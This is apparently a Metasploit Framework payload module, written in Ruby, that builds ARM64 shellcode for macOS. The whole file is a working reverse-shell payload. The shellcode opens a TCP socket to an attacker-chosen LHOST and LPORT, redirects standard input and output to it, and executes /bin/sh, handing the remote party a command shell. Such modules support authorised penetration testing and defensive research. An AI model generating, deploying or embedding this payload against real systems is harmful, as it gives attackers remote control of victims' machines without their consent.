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1
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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  CachedSize = 188
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  include Msf::Payload::Single
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  def initialize(info = {})
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    super(
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      merge_info(
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        info,
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        'Name' => 'OSX aarch64 Shell Reverse TCP',
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        'Description' => 'Connect back to attacker and spawn a command shell',
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        'Author' => [ 'alanfoster' ],
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        'License' => MSF_LICENSE,
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        'Platform' => 'osx',
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        'Arch' => ARCH_AARCH64,
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        'Handler' => Msf::Handler::ReverseTcp,
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        'Session' => Msf::Sessions::CommandShellUnix
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      )
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    )
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    # exec payload options
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    register_options(
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      [
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        OptString.new('CMD', [ true, 'The command string to execute', '/bin/sh' ]),
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        Opt::LHOST,
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        Opt::LPORT(4444)
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      ]
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    )
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  end
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  # build the shellcode payload dynamically based on the user-provided CMD
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  def generate(_opts = {})
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    # Split the cmd string into arg chunks
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    cmd_str = datastore['CMD']
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    cmd_and_args = Shellwords.shellsplit(cmd_str).map { |s| "#{s}\x00" }
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    cmd = cmd_and_args[0]
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    args = cmd_and_args[1..]
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    # Don't smash the real sp register, re-create our own on the x9 scratch register
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    stack_register = :x9
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    cmd_string_in_x0 = create_aarch64_string_in_stack(
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      cmd,
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      registers: {
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        destination: :x0,
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        stack: stack_register
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      }
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    )
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    lport = datastore['LPORT'].to_i
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    lhost = datastore['LHOST']
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    lport_hex = [lport].pack('v').bytes.map { |b| b.to_s(16).rjust(2, '0') }.join
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    lhost_hex = [IPAddr.new(lhost, Socket::AF_INET).to_i].pack('L<').bytes.map { |b| b.to_s(16).rjust(2, '0') }
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    result = <<~EOF
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      // socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
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      // socket:
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        mov x0, 0x2                   // x0 = AF_INET
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        mov x1, 0x1                   // x1 = SOCK_STREAM
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        mov x2, 0                     // x2 = IPPROTO_IP
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        movz x16, #0x0200, lsl #16    // x16 = SYS_SOCKET 0x2000061
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        movk x16, #0x0061
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        svc 0                         // system call
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        // Socket file descriptor will be in x0; Additionally the store socket file descriptor in x13
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        mov x13, x0
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      // connect(sockfd, socket={AF_INET,#{lport},#{lhost}}, socklen_t=16)
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      // connect:
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        // mov x0, x13                // x0 = socketfd, already set from previous socket result - additionally stored in x16
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        lsl  x1, x1, #1               // x1 = struct socaddr_in; sin_family=AF_INET
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        movk x1, #0x#{lport_hex}, lsl #16     //    sin_port = htons(#{lport})
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        movk x1, #0x#{lhost_hex[2..3].join}, lsl #32       //    sin_addr = inet_aton(ip, &addr.sin_addr)
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        movk x1, #0x#{lhost_hex[0..1].join}, lsl #48
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        str x1, [sp, #-8]!
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        mov x1, sp                    // XXX: Should be: add x1, sp, x2, but assembler does not support it
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        add x1, x1, x2                // XXX: Should be: add x1, sp, x2, but assembler does not support it
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        mov x2, 16                    // x2 = sizeof(struct sockaddr) = 16
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        movz x16, #0x0200, lsl #16    // x16 = SYS_CONNECT 0x2000062
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        movk x16, #0x0062
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        svc 0
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      // int dup2(int filedes=socketfd, int newfd=STDIN/STDOUT/STD)
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      // dup2_calls:
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        movz x16, #0x0200, lsl #16     // x16 = SYS_DUP2 0x200005a
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        movk x16, #0x005a
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        mov x0, x13                    // x0 = socket
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        movz x1, 0                     // x1 = STDIN
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        svc 0                          // system call
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        mov x0, x13                    // x0 = socket
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        movz x1, 1                     // x1 = STDOUT
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        svc 0                          // system call
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        mov x0, x13                    // x0 = socket
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        movz x1, 2                     // x1 = STDERR
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        svc 0                          // system call
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      // int execve(const char *path, char *const argv[], char *const envp[]);
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      // exec_call:
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        // Set system call SYS_EXECVE 0x200003b in x16
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        movz x16, #0x0200, lsl #16
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        movk x16, #0x003b
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        mov #{stack_register}, sp // Temporarily move SP into scratch register
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        // Arg 0: execve - const char *path - Pointer to the program name to run
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        #{cmd_string_in_x0}
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        // Push execve arguments, using x1 as a temporary register
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        #{args.each_with_index.map do |value, index|
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            "// Push argument #{index}\n" +
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              create_aarch64_string_in_stack(value, registers: { destination: :x1, stack: stack_register })
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          end.join("\n")
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        }
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        // Arg 1: execve - char *const argv[] - program arguments
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        #{cmd_and_args.each_with_index.map do |value, index|
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            bytes_to_base_of_string = cmd_and_args[index..].sum { |string| align(string.bytesize) } + (index * 8)
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            [
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              "// argv[#{index}] = create pointer to base of string value #{value.inspect}",
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              "mov x1, #{stack_register}",
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              "sub x1, x1, ##{bytes_to_base_of_string} // Update the target register to point to base of the string",
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              "str x1, [#{stack_register}], #8 // Store the pointer in the stack"
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            ].join("\n") + "\n"
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          end.join("\n")}
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        // argv[#{cmd_and_args.length}] = NULL
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        str xzr, [#{stack_register}], #8
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        // Set execve arg1 to the base of the argv array of pointers
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        mov x1, #{stack_register}
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        sub x1, x1, ##{(cmd_and_args.length + 1) * 8}
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        // Arg 2: execve - char *const envp[] - Environment variables, NULL for now
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        mov x2, xzr
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        // System call
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        svc #0
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    EOF
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    compile_aarch64(result)
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  end
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  def create_aarch64_string_in_stack(string, registers: {})
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    target = registers.fetch(:destination, :x0)
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    stack = registers.fetch(:stack, :x9)
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    # Instructions for pushing the bytes of the string 8 characters at a time
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    push_string = string.bytes
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                        .each_slice(8)
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                        .each_with_index
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                        .flat_map do |eight_byte_chunk, _chunk_index|
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      mov_instructions = eight_byte_chunk
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                         .each_slice(2)
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                         .each_with_index
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                         .map do |two_byte_chunk, index|
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        two_byte_chunk = two_byte_chunk.reverse
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        two_byte_chunk_hex = two_byte_chunk.map { |b| b.to_s(16).rjust(2, '0') }.join
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        two_byte_chunk_chr = two_byte_chunk.map(&:chr).join
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        "mov#{index == 0 ? 'z' : 'k'} #{target}, #0x#{two_byte_chunk_hex}#{index == 0 ? '' : ", lsl ##{index * 16}"} // #{two_byte_chunk_chr.inspect}"
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      end
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      [
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        "// Next 8 bytes of string: #{eight_byte_chunk.map(&:chr).join.inspect}",
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        *mov_instructions,
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        "str #{target}, [#{stack}], #8 // Store #{target} on #{stack}-stack and increment by 8"
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      ]
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    end
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    push_string = push_string.join("\n") + "\n"
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    set_target_register_to_base_of_string = <<~EOF
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      mov #{target}, #{stack} // Store the current stack location in the target register
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      sub #{target}, #{target}, ##{align(string.bytesize)} // Update the target register to point to base of the string
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    EOF
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    result = <<~EOF
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      #{push_string}
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      #{set_target_register_to_base_of_string}
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    EOF
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    result
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  end
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  def align(value, alignment: 8)
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    return value if value % alignment == 0
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    value + (alignment - (value % alignment))
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  end
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  def compile_aarch64(asm_string)
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    require 'aarch64/parser'
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    parser = ::AArch64::Parser.new
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    asm = parser.parse without_inline_comments(asm_string)
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    asm.to_binary
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  end
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  # Remove any human readable comments that have been inlined
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  def without_inline_comments(string)
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    comment_delimiter = '//'
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    result = string.lines(chomp: true).map do |line|
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      instruction, _comment = line.split(comment_delimiter, 2)
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      next if instruction.blank?
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      instruction
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    end.compact
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    result.join("\n") + "\n"
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  end
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end
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